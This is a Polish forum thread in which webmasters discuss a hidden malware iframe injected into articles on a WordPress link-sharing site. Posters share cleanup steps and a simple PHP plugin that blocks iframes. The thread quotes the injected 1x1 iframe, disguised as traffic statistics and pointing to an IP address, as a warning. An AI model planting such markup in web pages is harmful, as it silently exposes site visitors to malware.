Iframe z malware w preclach

[Tomson_]

Nie wiem czy temat już wypłynął wcześniej , ale piszę na gorąco. Właśnie google bloknął mi precla, strona została zgłoszona jako dokonująca ataków. Jakiś mądrala dokleił iframe w treści artów, czego podczas moderacji nie zauważyłem.

Ostrzegam przed dodawaniem artykułów o Dodzie z linkami prowadzącymi do http ://www,doda,ws oraz kilku innych. Nie będę tutaj rzucał domenami i Id userów.

Iframe wygląda najczęściej tak:

<!-- Traffic Statistics -->

<iframe src=https:// 61.132.75.71/ iframe/ wp-stats.php width=1 height=1 frameborder=0></iframe>

<!-- End Traffic Statistics -->

Jeśli ktoś ma podobny problem z preclem na WP, w tabeli post_content wyszukać trzeba frazy zawierające iframe oraz noscript i wywalić posty.

[gielo]

https://www.szok24.eu/spam-w-iframe/

tutaj pisałem o tym swego czasu.

Najprostsze zabezpieczenie to aktualizacja bloga do najnowszej wersji wordpress i oczywiście usunięcie tego syfu z naszych topików.

[Maximus Marius]

Tak na szybko i z głowy:

<?
/*
Plugin Name: Seo4You Block Iframe
Plugin URI: https://seo4you.pl/
Description: Proste blokowanie iframe
Author: Mariusz Bulkowski
Version: 1.0.0
Author URI: https://seo4you.pl/
*/


function s4y_no_iframe( $content )
{
 $pos1 = stripos($content , 'iframe' );

 if ($pos1 === false) {
return $content;
 }
 else
 {
return "";
 }
}

add_filter('the_content', 's4y_no_iframe', 7);

?>

Co nie znaczy że nie trzeba aktualizować WP

[Tomson_]

Tak, wiem, lenistwo nie popłaca